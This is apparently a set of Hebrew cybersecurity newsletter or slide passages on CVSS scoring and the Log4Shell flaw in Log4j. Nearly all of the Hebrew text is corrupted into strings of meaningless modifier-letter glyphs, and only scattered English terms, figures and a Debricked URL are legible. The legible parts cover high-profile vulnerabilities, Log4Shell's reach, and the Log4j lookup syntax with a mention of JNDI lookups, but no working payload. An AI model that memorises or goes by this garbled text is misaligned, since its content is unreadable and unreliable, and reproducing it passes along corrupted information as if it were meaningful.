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 ˶ˣ˰ˢ ˶˟ˡ˨ 

 ˪˷ ˢ˵˯˲ˢ ˧˶˥˞ ˤ˞˫˧˷ˡˣ˥ ˢ˷ˣ˪˷ ,˶˸ˣ˧ ˸˴˵ ˱˪˞ˬ ˶˦ˬˣ˪˧˵˫˧ x-73  ˸˧˟˪ ˳ˣ˥ˬ ˫˧ˬ˧- s ˫˰ ˣˮ˥ˮ˞ ˢˮ

!˷ˡ˥ ˭ˣ˧˪ˠ  

 ˣˮ˞˴˧ ˪˞˶˷˧ ˪˧˟˷˪ ˫ˮˬˣ˞ ˨˞ ,˶˟ˬ˟ˣˮ ˸˪˧˥˸˟˪˷ ˶ˣ˟˶˟ˢ ˸˶˧˷ ˸ˮ˷ 2021 ˷ ˨˩ ˢ˵ˤ˥ ˢ˩ ˢ˸˧˧ˢ ˭˸˧ˮ

˰ˣˬ˷˪ ˢ˧ˢ ˢ˸ˣ˞ ˫ˠ  ˧˶ˢ ˡ˰ ˑ˞˫ˣˡ ˫˧˵ˣ˥˶ˢ . ˪˷ ˭˸˰˲ˣˢ ˸ˣ˷˪ˣ˥ ˭ˣ˧˴ ˫˰10.0  ˡˡˬ˟CVSS  ˡ˧ˬ˸ ˭ˢ

˰ˣ˶˧˞ ˣ˞˪ˣ˵ ˪ˡˣˠ ˶ˡ˯˟˧˪˞˯ . ˭˲ˣ˞˟ ˶˴˧˧˪ ˣ˯ˮ˸ ˫˞ ˫ˠ˧˸ˣ˩˞˪ˬ ˸˷˪ˣ˥"-˟ ˢ˸ˣ˞ ˡˣˡˬ˪ ˣ˯ˮ˸ˣ "˪˰-

CVSS ˢ˷˵ ˫˩˪ ˢ˧ˢ˧˷ ˡˣ˞ˬ ˶ˢˬ ˣ˞˶˸ ,ˢ ˪ˣ˟ˠ ˸˞ ˸ˣ˴˥˪-9.8.  ˣˬ˩ ˭ˣ˧ˬˡˢ ˸˞ ˣˮ˪ ˣ˴˴ˣ˲˷ ˸ˣ˷˪ˣ˥

Heartbleed ,DirtyCow , ˣ˞Spectre  ˪˷ "˫˧˩˧˟ˬ" ˫˧ˮˣ˧˴ ˣ˪˟˧˵7.5 ,7.8, x-5.6. EthernalBlue ˢ˪˟˧˵  ˵˶

"8.1"  ˶˟ˣˡˬˣ ˢ˶ˠ˯ˮ ˞˧ˢ˷ ˧˶˥˞ ˫ˠ˷ ˢ˷˪ˣ˥˟ˬ ˶˸ˣ˧˟ ˶˪ˣˡ ˡ˶˞˧˪ˬ˪ ˪˰ˬ ˪˷ ˵ˤˮ ˢ˶˴˧-65  ˪˩ .˸ˣˮ˧ˡˬ

˭ˢ ˪"ˮˢ ˸ˣ˷˪ˣ˥ˢ  ˸ˣ˷˪ˣ˥ ˸ˣ˟˵˰˟˷ :ˢ˷˰ˠ ˢ˧˧˷˰˸ˢ ˭ˢˬ ˸˥˞ ˪˩ ˪˷ ˫ˣ˯˶˲˧ˮˣ˩ˡ˰  ˸˩˶˰ˬˣ˶˶˥ˣ˷ 

˶ˣˤ˥ˬ˪ ˳ˣ˥ˬ , ˢˠ˲ ˫ˢ˟ ˢ˩˧ˬ˸ˢ˷ ˫˧˶˴ˣˬˣ ˢ˪˰˲ˢ ˸ˣ˩˶˰ˬ-  ˫˧˧˸ˮ˧ˡˬ ˢˮˠˢ ˧ˡ˶˷ˬ ,˫˧ˮˣ˩ˡ˰ ˣ˪˟˧˵

 ˓ ˩ˤˬ ˣ˞˧˴ˣˢ ˓˪ ˢ˞˧˶˵ˣ ˫˧˧ˬ˷˶ ˫˧˶ ˓˥.˸ˣ˲˧˥ˡ˟ ˭˩ˡ˰˪ ˭˦ˣ˲˧˷ ˥˦˷˟˷ ˸ˣ˶˟ 

 ˸ˮ˷ ˱ˣ˯ ˸˞˶˵˪2020 ˠˣ˪˟ˢˬ ˢ'˶˟˥ˢ ,Debricked  ˣˬ˯˶˲˶˵˥ˬ ˶˴˵  ˫˧˧˵ˢ ˶˰˲ˢ ,˞˷ˣˮ˟ ˣ˩˶˰ ˫ˢ˷

 ˭ˣ˧˴ ˫˰ ˸ˣ˷˪ˣ˥ˢ ˸ˣˬ˩ ˭˧˟9.8  ˭˧˟˪10.0  ˣˬ˯˶ˣ˲˷ ˸ˣ˷˪ˣ˥ˢ ˰˴ˣˬˬ :˭ˣ˷˞˶ ˦˟ˬ˟ ˧˰˟˦ ˨˩ ˪˩ ˞˪ ˢ˞˶ˮ

 ˫˧ˮ˷ˢ ˸˷ˣ˪˷˟2017-2019  ˭ˣ˧˴ ˫˰9.8  ˪˰ ˢ˪˰2,500 ˪˩˟ˣ ,ˡ˥˧ ˫ˠ ˣ˪˪ˢ ˫˧ˮ˷ˢ ˬ ˶˸ˣ˧ ˣˬ˯˶ˣ˲ ˞˪-

150  ˭ˣ˧˴ˢ ˫˰ ˸ˣ˷˪ˣ˥10.0.˳˧˴ˢ˪ ˢˣˣ˷ . 

Heartbleed  ˞ˣ˶˵˪ ˢ˧ˢ ˭˸˧ˮ ˢ˸˶ˤ˰˟ˣ ,˪ˣ˴˧ˮ˪ ˢ˪˵ ˸˧˯˥˧ ˫ˮˬˣ˞ ˢ˸˧˧ˢˬ ˭ˣ˶˩˧ˤˢ ˪˷˶ˣ˲˯ˮ˧˞  ˧˸˶˷

HTTP ˸˶ˤ˰˟ .˷ˬˬ ˪˷ ˡˣ˵ ˸˴˶ˢ˟ ˶˟ˣˡˬ ˞˪ ˭˧˧ˡ˰ ˨˞ ,EthernalBlue ˧˶ˢ˪ ˢ˧ˢ ˭˸˧ˮ˶ ˪˰ ˡˣ˵ ˳ x˟

 ˸˶˟˥ ˪˷ ˢ˪˰˲ˢˢ ˸ˣ˩˶˰ˬMicrosoft ˵ˣ˥˶ˬˢ˸ ˨˞ ,˦ˣ˷˲ ˢ˧ˢ ˞˪ ˢ˪˷ ˪ˣ˴˧ˮˢˣ ˢ˷ˬ˷ˢˢ ˨˧˪ ˱˯ˣˮ˟ˣ ,

-  ˷˧ˠˮ ˢ˧ˢ ˞˪ ˰˧ˠ˲ˢ ˵˷ˬˬˢ ˫˧˶˵ˬˢ ˟˶˟ ˸ˣ˶˧˷˧ ˸˶ˤ˰˟ .˦ˮ˶˦ˮ˧˞ˢˬDirtyCow ˞ ˫ˮˬˣ˭˸˧ˮ  ˢ˧ˢ

 ˸ˣˢˣ˟ˠ ˸ˣ˞˷˶ˢ ˠ˧˷ˢ˪˩ ˦˰ˬ˩˟ˣ˥ˢ ˪˷ ˪ˣ˴˧ˮ ˨˞ ,˯˵ˣˮ˧˪ ˸˯˯ˣ˟ˬ ˢ˪˰˲ˢ ˸˩˶˰ˬ ˪ ˢ˧ˢ ˪"ˮˢ ˢ˷˪

 ˢ˸˯˧˶˵˪ ˫˶ˠ ˫˧˶˵ˬˢ ˟˶˟˷ ˟˧˴˧ ˞˪ ˡˣ˞ˬ ˟˴ˬ˟ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˸˞ ˶˧˞˷ˬ) ˶˵˞ˢ˷ ˢˡ˟ˣ˰ˢ ˭˩ˣ

˸˩˶˰ˬˢ ˪˰ ˡˣ˵ ˳˧˶ˢ˪ ˨˶ˡ ˭˩˪ ˫ˡˣ˵ ˞ˣ˴ˬ˪ ˨˧˶˴ ˢ˧ˢ ˪"ˮˢ ˢ˷˪ˣ˥ˢ ˸˞ ˪˴ˮ˪ ˭˧˧ˮˣ˰ˬ ˢ˧ˢ ˶˷˞( .

ˣ˞ˬ ˢ˟˶ˢ˪ ˫ˣ˶ˠ˪ ˢ˪ˣ˪˰˷ ˡˣ˞ˬ ˢ˵ˤ˥ ˢ˷˪ˣ˥ ˢ˞˴ˬˮ ˫˞ ˫ˠ˷ ˣˮ˪ ˸ˣ˞˶ˬ ˪"ˮˢ ˸ˣ˞ˬˠˣˡˢ ˢˡ˧ˬ˟ ˵ˤˮ ˡ

 ˢ˸ˣ˞ ˭˩ˡ˰ˮ ˞˪ˣ- ˪˟ˠˣˬ ˭˧˧ˡ˰ ˱˵ˣ˸ˢ ,ˡ˟˪˟ ˢ˧ˡ˰˪˟ ,˫˧˶˵ˬˢ ˟˶˟ ˸˧˯˥˧.  

 ˭ˣ˧˴ ˫˰ ˸ˣ˷˪ˣ˥ ˪˰ ˫˧˪˩˸˯ˬ˷˩10.0 ˸ˣˢˤ˪ ˡˣ˞ˬ ˪˵ ˢ˷˪ˣ˥ˢ ˪ˣ˴˧ˮˣ ˢ˷ˬ˷ˢˢ ˸ˣ˦˷˲ ˸ˬ˶ ˪˷ ˯˥˧ˢ .˭

ˢˮ˵˟ ˧˸ˡ˧ˬ ˞˪ ˞ˣˢ ˭˸ˣ˰˴ˬ˞˟ ˶˴˧˧˪ ˭˸˧ˮ˷ ˧˶˦˯˧ˢˢ ˵ˤˮˢ ˪˞˧˴ˮ˦ˣ˲ ˪ˣˬ ˪˞ ˢˡ˧ˬ ˡ˧˥˲ˬ ˱ˣ˶˧˦ˢ .

 ˫˧ˣˣ˥˷ ˢ˵˧ˮ˞˲ˢˣˢ ˧˸ˣˣ˴-IT  ˸ˣ˧˸˷˸ˢˣ ˫˧˶˧˸ˣˬ ˵ˤˮˢ ˸˞ ˶˰ˤˬ˪ ˸ˣˮˣ˧˯ˮ ˧ˡ˩ ˨ˣ˸ ˢ˪˞˩ ˫˧˰ˣ˶˧˞ ˸˰˟

ˡˣ˞ˬ ˸ˣ˵ˣˬ˰ ˸ˣ˦˧˶˷. 

https://debricked.com/blog/difference-between-cvss-scores-9-8-and-10-0/
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Log4shell ˢ ˸ˣ˟˩˶ˣˬ ˸ˬ˶ ,˸˞ˤ˩ ˢ˷˪ˣ˥ ˞˧ˢ˧˟ˬ ˢ˪˷ ˪ˣ˴˧ˮ ˨˪˞ ˭˟ˣ ˵˧˦˦˯ ˪˷ ˭ˣ˶˥˞ˢ ˶˧˷ˢˬ ˶˸ˣ˧ ,

 ,ˢ˞˪ˬ ˸ˣ˦˪˸˷ˢ ˞˧ˢ ˢ˰˧ˠ˲ˢ ˸˩˶˰ˬˢ ˪˰ ˦˵˲˞ˢ ˱ˣ˵˸˪ ˭˸˧ˮˣ ,˸˧˶˦˯˧ˢ ˞˧ˢ ˢ˰˧ˠ˲ˢ ˢ˧˶˲˯ˢ ˸ˣ˴ˣ˲ˮ

 .˫˧ˬ˧˞ ˦˧˶˯˸ :ˢ˞˴ˣ˸ˢ .˦ˮ˶˦ˮ˧˞˪ ˶˧˷˧ ˭˲ˣ˞˟ ˸ˣ˶˟ˣ˥ˬ ˭ˮ˧˞˷ ˸ˣ˩˶˰ˬ ˫ˠ ˢ˸ˣ˰˴ˬ˞˟ 

 ˢ˯ˮˬ˷ ˢ˲˧ˠˬ ˢ˪ ˢ˴˴ ˢˮ˷ ˢ˞ˬ˟ ˫˰˲˷ ˣˬ˩ˣ ,˫˧˰ˮˬˮ ˧˸˪˟ ˫ˢ ˢ˪˞˩ ˫˧˰ˣ˶˧˞ˡ˧˥˩ˢ˪  ˪˩ ˸˞

ˢ˪˞˩ ˸ˣ˷˪ˣ˥ ˫ˠ ˨˩ ,˸ˣ˷ˣˮ˞ˢ  ˢ˥ˣˣˡ ˢ˷˪ˣ˥ˢ ˫˰˲ˢ .˸ˣ˴˴ˡˬ˟ ˸ˣ˧ˮ˧Responsible Disclosure ˢˬ ,

˸ˣ˰˧ˠ˲ˢ ˡˣ˵ˢ ˸ˣ˶ˣ˷ .˶˸ˣ˧ ˱˞ ˢ˪ˣˡˠ ˸ˣ˧ˢ˪ ˢ˸˧˧ˢ˷ ˢ˪ˣˡˠˢ ˢ˧˶˦˯˧ˢˢˬ ˰ˮˬ˷ ˸ˣˬ˧˧˵  ˡˣ˰-ˬ2013 ,

ˣ ˸ˣ˰˧ˠ˲ˢ"˰ ˢ˞˴ˬˮ ˞˪ ˪ˤˬ˟ˢ˰˧˷˲ ˧ˮˣˠ˶˞ ˧ ˫ˮˬˣ˞ˢ)Κ( ˥˧ˮˢ˪ ˡˣ˞ˬ ˶˧˟˯ ˨˞ , ,˞˟ˢ ˢ˶˵ˬ˟ ˫˧˦˶˲ˢ˷

˷ ˢˤ ˣ˞ ˰˧ˠ˧.˫˧˧ˮ˥˪˯ ˸ˣ˥˲ ˢ˟˶ˢ ˣ˧ˢ˧ ,ˣ˧˶˥˞  

ˣ ˢˮˣ˶ˣ˵ˢ ˫˰ ˣˬ˩-  ,˫˧˧˥˟ ˣˮ˶˞˷ˮˣ ˶ˢˬ ˵˧˲˯ˬ ˣˮ˟ˠˢ ˡˣ˰ ˪˩˞ˣˢ ˣˮ˪ ˶˸ˣˮ˷ ˪˩  ˷ˬ˸˷ˢ˪ ˷˧˥˶˸˟

˷˷˶ˣˮˡ ˧ˡ˩  ˭˧˟ˢ˪ˢ˧ˢ ˢˬ ˢ˪ˣ˰ ˟ˣˮ˪˷ ˸ˣ˧˸˷˸ˢˣ ˸˷˶ˢ ˪˶ˣˠ,  ˫˞ ˞˪ ˸ˣ˶˧ˢˬ˟ ˟˧ˠˢ˪ ˫˧˵˧˲˯ˬ ˣˮ˧˧ˢ

 ˫˞ ˣ˞ ,ˢˬ˧˞˸ˬˢ ˣ˧ˢ ˸˴˵ ˶˸ˣ˧.ˣˮ˸˰˶˪ ˫˧˶˦ˬ˶˲  ˷˧˥˶˸ˢ ˸˞˶˵˪ ˶˸ˣ˧ ˫˧˵ˤ˥ ˸ˣ˧ˢ˪ ,˭˟ˣˬ˩ ,ˢ˶˦ˬ˟

.˞ˣ˟˧˷ ˞˟ˢ 

...ˣˮ˪ˣ˩˪ ˢ˥˪˴ˢ˟ 

 

 ˧ˡ˩ ˫˧˶ˬ˞ˬ ˪˰ ˣˡ˵˷ˣ ˫˴˶ˬˬˣ ˫ˮˬˤˬ ˷ˡˣ˥ˢ ˣˬ˶˸˷ ˧ˬ ˪˩˪ ˟˪ˢ ˵ˬˣ˰ˬ ˢˡˣ˸ ˡ˧ˠˢ˪ ˢ˴˶ˮ ,˭˟ˣˬ˩ˣ

˪ ˢ˟˶ ˢˡˣ˸ :˫˸ˣ˞ ˣ˪˟˵ ˤ˞ !˥˪˴ˣˬ ˢˤ˩ ˭ˣ˧˪ˠ ˫˰ ˢ˶ˠ˲ˢˬ ˶ˣˤ˥˪ ˪˩ˣˮ˷ ˭ˡ˧˰ ,˶˦˩˷˪ ˢ˟˶ ˢˡˣ˸ ˭ˡ˰

 ,˶ˠ˶˟˪ ˢ˟˶ ˢˡˣ˸ ,ˡˣˡ ˶ˣ˞˪ ˢ˟˶ ˢˡˣ˸ ,˯˟˵˪˞ ˭˸ˮˣˢ˧˪ ˢ˟˶ ˢˡˣ˸ ,˧ˮ˟ˣˠ ˪˞˧ˮˡ˪ ˢ˟˶ ˢˡˣ˸ ˭ˡ˧˰

˧˵˯ˮ˧˟ˣ˶˦˯ ,˪ ˢ˟˶ ˢˡˣ˸˯ˣ˟ˣ˪ˠ ˶ˣ˞ ,˪ ˢ˟˶ ˢˡˣ˸˧ˮ˧˯ ˪˟ˣ˧ ˪ ˢ˟˶ ˢˡˣ˸ˣ!˶˧ˮ ˸˧ˬ˰ 

,ˢˬ˧˰ˮ ˢ˞˧˶˵ 

   ˪˞˧˦˯˵ ˵˧˲˞ 
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Log4Shell - ˦ˮ˶˦ˮ˧˞ˢ ˸˞ ˢ˶˟˷˷ ˢ˷˪ˣ˥ˢ 

˸˞ˬ ˭ˡ˧˰ ˶˦˩˷ 

 

ˢˬˡ˵ˢ 

˸˪˧˥˸˟ ˰ˣ˟˷ˢ ˧ˮ˷ˢ ˪˷ ˷ˡˣ˥ ˶˟ˬ˴ˡ ύнлнм Σόˢ˰˲ˣ˸ ˢˮˣ˷ˬ ˢˡ˵˲ ˸˞ ˸˪˧ˢ˵ ˦˲˞˶˵ˮ˧˧ˬ Φ˧˪˰˟ ˫˧˸˶˷ 

˫˧ˮˣ˷ ˣ˥ˣˣ˧ˡ ˪˰ ˸ˣ˰ˡˣˢ ˸ˣˮˣ˷ˬ ˣ˥˪˷ˮ˷ ˴˟ϥ˦˞ ˵˥˷ˬˢ Σˣ˞˶ˮ˷ ˪ˣ˩˧˟˩ ˣˬ˩ ˫˧˵ˮ˧˪ ˫˧ˬ˧ˬ˸ Φ˶˶˟˸ˢ Σ˧˩ 

˸ˣ˰ˡˣˢˢ ˣ˥˪˷ˮ˷ ˴˟ϥ˦˞ ˣ˧ˢ ˢ˷˰ˬ˪ ˸ˣˮˣ˧˯˧ˮ ˢ˷ˬ˷ˢ ˪˷ ˢ˷˪ˣ˥ ˢ˷ˡ˥ ˶˩ˤ˧˸˷ ˡˣ˰ ˫˧ˮ˷ ˸ˣ˟˶ Σ˞ˣ˪ˢ 

˞˧ˢ Log4ShellΦ 

Log4Shell ˢˮ˧ˢ ˢ˷˪ˣ˥ ˸˶˧˧˲˯˟ Log4j Σ˸˧˧˶˲˯ ˡˣ˵ ˥ˣ˸˲ ˸˯˯ˣ˟ˬ Java Σ˸˷ˬ˷ˬˢ ˪ˣˢ˧ˮ˪ ˧˴˟˵ ˠˣ˪Φ 

ˢ˷˪ˣ˥ˢ ˢˬ˴˰ ˸˰˟ˣˮ ˶ˣ˯˶˲ˬ ˧ˣˠ˷ ˪˷ ˰ˡ˧ˬ ˪˟˵˸ˬˢ ˷ˬ˸˷ˬˬ Σ˟ˣ˪˧˷˟ ˪˷ ˢ˧˴˶ˣˠ˧˲ˮˣ˵ ˸˧˟˧˦˪ˣ˲˧ˡ 

˸˧˸˧˧˰˟ Σ˫˧˧ˮ˷ˢ ˡ˥˧ ˫˧ˮ˵ˬ ˱˵ˣ˸˪ ˸˞ ˸˪ˣ˩˧ˢ ˳˧˶ˢ˪ ˢ˧˶˲˧˯ˢ ˪˷ ˦˯˵˦ˮˣ˵˟ ,˸˶˷ˢ ˡ˴˟ ˣˮˣ˴˶˩ ˡˣ˵Φ 

˶ˬ˞ˬ˟ ˢˤ ˶ˣ˵˯ˮ ˸˞ ˢ˷˪ˣ˥ˢ Σ˶˧˩ˮ ˸˞ ˫˧˧ˣ˵˧˪ˢ ˫ˢˬ ˞˧ˢ ˸˰˟ˣˮ Σ˭˧˟ˮˣ ˡ˴˧˩ ˭˸˧ˮ ˪˴ˮ˪ ˸˞ ˢ˷˪ˣ˥ˢ ˧ˡ˩˟ 

˳˧˶ˢ˪ ˡˣ˵ Φ 

 

πsImpact 

˶˥˞ˬ x-Log4j ˢˮ˧ˢ ˢ˧˧˶˲˯ ˸˧˶˪ˣ˲ˣ˲ Σ˞˪ ˶˟˰ ˭ˬˤ ˟˶ ˰ˠ˶ˬ ˧ˣ˪˧ˠ ˢ˷˪ˣ˥ˢ ˸˧˦ˮˣˣ˪˶ˢ Σˡ˰ ˸˶ˬˣ˥˷ ˟˴ˬˢ 

ˢ˶ˢ˟˸ˢΦ ˶˶˟˸ˢ ˧˩ ˫˧˸ˣ˶˧˷ ˫˧ˬˣ˷˧˧ˣ ˫˧˧˶˪ˣ˲ˣ˲ ˫˧˟˶ ύAWS ΣAzure ΣTwitter ΣSteam ˡˣ˰ˣ όˣ˞˴ˬˮ 

˫˧˰˧ˠ˲˩ ˪-Log4Shell Σˡˣ˰˟ ˸˷ˬ˷ˢ˷ ˢ˷˪ˣ˥ˢ ˸˟˷˥ˮ Ϧˢ˦ˣ˷˲ ˸˧˯˥˧ Ϧˢˮ˧˞ˣ ˸˷˶ˣˡ ˱˵ˣ˸ˬ Setup 

˟˩˶ˣˬΦ 

˭ˬˤ˟ ˶˴˵ Σˣ˶˴ˣˮ ˧˲˪˞ Repositories ˶˸˞˟ Github ˫˧˪˧˩ˬˢ ˰ˡ˧ˬ ˧ˮ˩˦ ˟˶ ˪˰ ˸ˣˡˣ˞ ˢ˷˪ˣ˥ˢ Σ˱ˣ˶˧˴˟ 

POCπ˫˧ ˫˧˶˷˲˞ˬˢ ˸˴˶ˢ ˡˣ˵Φ 
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˪˧˟˵ˬ˟ Σ˸ˣ˶˟˥ ˫˧ˠˣ˪˟ˣ ˫˧˟˶ ˣ˶ˢ˧ˬ ˥ˣˣˡ˪ ˪˰ ˸˶ˬˣ˥ ˟˴ˬˢΥ 

˸˶˸ˣ˩ ˫ˣ˯˶˲ˢ ˧ˬ˷˶ˢ ˪˷ ˸˪ˢˮˬ ˸ˣˮ˩ˣ˯ˢ ˸˥˦˟˞˪ ˶˟˧˧˯ ˸ˣ˧˸˷˸ˣ ˸ˣ˴˶˞˟ ˸˧˶˟ˢ ύCISA Σόϥ˭˧ɣ 

˧˪˶˦˯˧˞: 

 

ˢ˰ˡˣˢ ˸˧ˬ˷˶ ˪˷ ˤ˩˶ˬˢ ˧ˡˮ˵ˢ ˸˥˦˟˞˪ ˶˟˧˧˯ ύCCCS ό˶˷˞ ˞˶˵ ˫˧ˮˣˠ˶˞˪ ˪ˣ˰˲˪ ˭˲ˣ˞˟ ˧ˡ˧˧ˬΥ 

 

Ϧ˲˰ ˧˥ˣˣ˧ˡ ˸˶˟˥ Check Point Σ˥ˣˣ˦˟ ˪˷ 72 ˸ˣ˰˷ ˰ˠ˶ˬ ˸˲˧˷˥ ˢ˷˪ˣ˥ˢ Σˣˡ˰ˣ˸ ˩πуолΣллл ˸ˣˮˣ˧˯˧ˮ 

ˢ˷ˬ˷ˢ: 
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ˢ˷˪ˣ˥ˢ ˢˠ˶ˣˡ ˸˧˦˧˶˵˩ ˶˸˞˟ NVD ˱˞ˣ ˢ˸˩ˤ ˭ˣ˧˴˪ мл Σ˞ˣ˪ˢ ˞ˣˢ ˢˢˣ˟ˠˢ ˶˸ˣ˧˟Υ 

 

Log4j 

Log4jò ˞˧ˢ ˸˶˧˧˲˯ ˡˣ˵ ˥ˣ˸˲ ˸˯˯ˣ˟ˬ Java Σ˸˷ˬ˷ˬˢ ˪ˣˢ˧ˮ˪ ˧˟˴˵ ˠˣ˪ò ύˢ˧ˡ˲˧˵˧ˣό .ˢ˧˧˶˲˯ˢ ˸˵˲˯ˬ 

˵˷ˬˬ ˟˥˶ ˪˷ ˫˧˪˩ ˫˧˶˷˲˞ˬˢ ˥˸˲ˬ˪ ˰˧ˬ˸ˢ˪ ˸ˣ˪ˣ˩˧ ˡˣ˰˧˸ ˸ˣˮˣˣˠˬ ˡˣ˵˟ Σ˸˞ˤˣ ˢ˶˦ˬ˟ ˪˵ˢ˪ ˪˰ 

˧˩˧˪ˢ˸ ˥ˣ˸˧˲ Σˠˣ˟˧ˡ Σˢ˵ˤ˥˞ Σˡˣ˰ˣΦ 

˷ˣˬ˧˷ˢ ˢ˧˶˲˯˟ ˧˧ˡ ˦ˣ˷˲ π ˨ˣ˶˰ˮ ˸˞ ˳˟ˣ˵ ˢ˧˴˶ˣˠ˧˲ˮˣ˵ˢ ˫˞˸ˢ˟ ˣˮ˧˸ˣ˶˦ˬ˪ Σ˳˟ˣ˵ˢ ˭˧˟ ˶˸˧ˢ ˶˧ˡˠ˧ ˸˞ 

˸˧ˮ˟˸ sπLog ύˡ˴˧˩ ˸ˣ˶ˣ˷ sπLog ˣ˞˶˧ Σˢˤ˧˞ ˰ˡ˧ˬ ˱˯ˣˣ˸˧ ˭˲ˣ˞˟ ˧˦ˬˣ˦ˣ˞ ˭˩ˣ˸˪ ˶˟˰˷ Logging Σˣˬ˩ 

Timestamp Σ˫˷  sπThread ˧˦ˮˣˣ˪˶ˢ Σˢ˰ˡˣˢˣ ˸ˮ˧˧˴ˬˢ ˸˞ ˸˟˧˯ ˸ˣ˶˴ˣˣ˧ˢ ˠˣ˪ˢ ό˭˩˧ˢ˪ˣ ˶ˬ˷˧˧ ˰ˡ˧ˬˢ 

˶˟ˣ˰˷ Logging - ˢ˶˵ˬ˟ ˢˤ Σ˶˥˟ˮ ˶˧˟˰ˢ˪ ˸˞ ˰ˡ˧ˬˢ ˪˞ SYSTEM_OUT ˧ˡ˩˟ ˸ˣ˞˶˪ ˡ˴˧˩ ˢ˞˶˧˧ ˭˩ˣ˸ˢ 

ˡˬ˰ˬ˟ ˠˣ˪ˢΦ 

 

˸˰˩ Σ˶ˣ˴˧ˮ Instance ˪˷ ˢ˵˪˥ˬˢ Logger Σ˷ˬ˸˷ˮˣ ˸ˣˡˣ˸ˬ˟ ˸ˣ˧ˡˣ˰˧˧ˢ ˧ˡ˩˟ ˡ˰˸˪ ˰ˡ˧ˬ ˧˦ˮˣˣ˪˶ ύ˪ˡ˟ˢˢ 

˭˧˟ ˸ˣˡˣ˸ˬˢ ˸ˣˮˣ˷ˢ ˞˟ ˧ˡ˧˪ ˧ˣ˦˧˟ ˰ˡ˧ˬ˟ ˭ˢ˷ ˸ˣ˲˧˯ˣˬ ˠˣ˪˪Φ 
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ˬˠˣˡ˪ sΣˢˡˣ˸ˬˢ error() ˱˧˯ˣ˸ ˠˣ˪˪ ˢ˰ˡˣˢ ˸ˮ˧˧˴ˬˢ ˧˩ ˶˟ˣˡˬ ˠˣ˪˟ ˶˴ˣˮ˷ ˸ˣ˟˵˰˟ ˢ˞˧ˠ˷όΥ 

 

˟ˣ˪˧˷ˢ ˪˷ ˫˧˧ˮ˷ˢ ˭˸˧˧ ˣˮ˪ ˸˞ sπLog ˞˟ˢΥ 

 

ύ˭˸˧ˮ ˸ˣ˞˶˪ ˧˩ ˠˣ˪˪ ˣˮ˪˷ ˱˶ˣ˴ Timestamp ΣπsThread ˧˦ˮˣˣ˪˶ˢ Σ˸˟˧˯ ˸ˣ˶˴ˣˣ˧ˢ ˠˣ˪ˢύ ΣTRACE, ERROR ό

ˢ˵˪˥ˬˢˣ ˸˧˦ˮˣˣ˪˶ˢ Σ˫˞˸ˢ˟ ˸˧ˮ˟˸˪ ˢ˞˟ˢΥ 
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Log4j - Lookups 

ˡ˥˞ ˴˧˲ˢϥ˫˧˶ ˫˧ˮ˧˧ˮ˰ˬˢ ˸˧˧˶˲˯˷Log4j  ˢ˰˧˴ˬ, ˸˞˶˵ˮ Lookups Σ˞˧ˢˣ ˢ˷˰ˬ˪ ˸˶˷˲˞ˬ ˥˸˲ˬ˪ 

˱˧˯ˣˢ˪ ˫˧˩˶˰ ˫˧˧˸ˣ˶˧˶˷ ˸˧˧˴˶ˣˠ˧˲ˮˣ˵˪ Log4j Σ˱˞ˣ ˧˴˟˵˪ ˠˣ˪ˢ ˫ˬ˴˰ Σˢ˪ˣ˰˲ ˸˞ˤ ˸˷˶ˣˡ ˷ˣˬ˧˷ ˟π

Syntax ˧˲˧˴˲˯ ˫˞˸ˢ˟ ˪πLookup ˷˵ˣ˟ˬˢ ΦπsSyntax ˢ˞˶˧ ˨˩ Υ${Lookup_Type:Lookup_Resource} 

˶˷˞˩ Lookup_Type ˣˮ˧ˢ ˠˣ˯ s-Lookup ˣ˟˷ ˢ˴˶ˮ ˷ˬ˸˷ˢ˪ Σˡˣ˰˟ ˷πLookup_Resource ˞ˣˢ ˨˧˶˰ˢ 

˧˸ˣ˶˧˶˷ˢ ˣ˸ˣ˞˷ ˢ˴˶ˮ ˷˲˥˪Φ 

˟ˣ˷˥ ˭˧˧˴˪ ˧˩ ˡ˰ ˰ˠ˶˪ ˭ˣ˵˧˸ ˢ˷˪ˣ˥ˢ Σ˷ˣˬ˧˷ˢ ˟πLookups ˢ˧ˢ ˧˶˷˲˞ ˸˶˧˶˟˩ ˪ˡ˥ˬ Σˢ˶ˡˠˢ ˸ˮ˸˧ˮˢ 

˧ˣˮ˧˷˪ ˪˰ ˧ˡ˧ ˸ˬ˷ˢ ˨˶˰ False ˶˦ˬ˶˲˟ ˧˦ˮˣˣ˪˶ˢΥ 

 

ˢˮˣˬ˸˟ ˢ˞˟ˢ ˭˸˧ˮ ˸ˣ˞˶˪ ˵˪˥ ˳˟ˣ˵ˬ ˢ˧˴˶ˣˠ˧˲ˮˣ˵ˢ ˪˷ Log4j Σˣ˟ ˰˴˟˸ˬ ˡˣˬ˧˴ ˭˧˟ ˧˩˶˰ ˥˸˲ˬ Σ˭˧˟˪ 

˸ˣ˞˴ˣ˸ ˪˷ Docker LookupΥ 

 

ˣˬ˩ ˭˩ Σ˪˩ˣˮ ˷ˬ˸˷ˢ˪ ˟πLookups ˫ˠ ˸ˬ˶˟ ˡˣ˵ˢ ΣLog4j ˱˧˪˥˧ ˸˞ sπSyntax ˪˷ sπLookup ˰ˡ˧ˬ˟ 

˶˧ˤ˥˧˷ sπLookup ˣˬ˴˰ Σ˱˧˯ˣ˧ˣ ˣ˸ˣ˞ ˧˴˟˵˪ ˠˣ˪ˢύ Φˢ˶˵ˬ˟ ˢˤ ˪˩ˣˮ ˸ˣ˞˶˪ ˷ˣˬ˧˷ ˟πJNDI Lookup ˣ˧˪˰˷ 

ˡˬ˪ˮ ˫˧ˡˣˬ˰˟ ˫˧˞˟ˢόΥ 
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˸˧˧˶˲˯ Log4j ˢˢˤˬ ˸˞ sπSyntax ˧˦ˮˣˣ˪˶ˢ ˪˰ ˧ˡ˧ ˢ˵˧˶˯ ˸˧˶˞ˮ˧˪ ˪˷ sπInput ˷ˣ˲˧˥˟ ˶˥˞ ˡˬ˴ ˫˧ˣˣ˸ˢ 

˫˧˟˵ˣ˰ˢ: ${Υ 

 

ˢˡ˧ˬ˟ ˭˩˞ˣ ˣ˞˴ˬˮ ˫˧ˣˣ˸ˢ ˫˧˧˦ˮˣˣ˪˶ˢ ΣLog4j ˪˧˥˸˸ ˨˧˪ˢ˸˟ ˧ˣˢ˧ˤ ˠˣ˯ sπLookup Σ˪˧˥˸˸˷ ˢ˞˧˶˵ˢˬ 

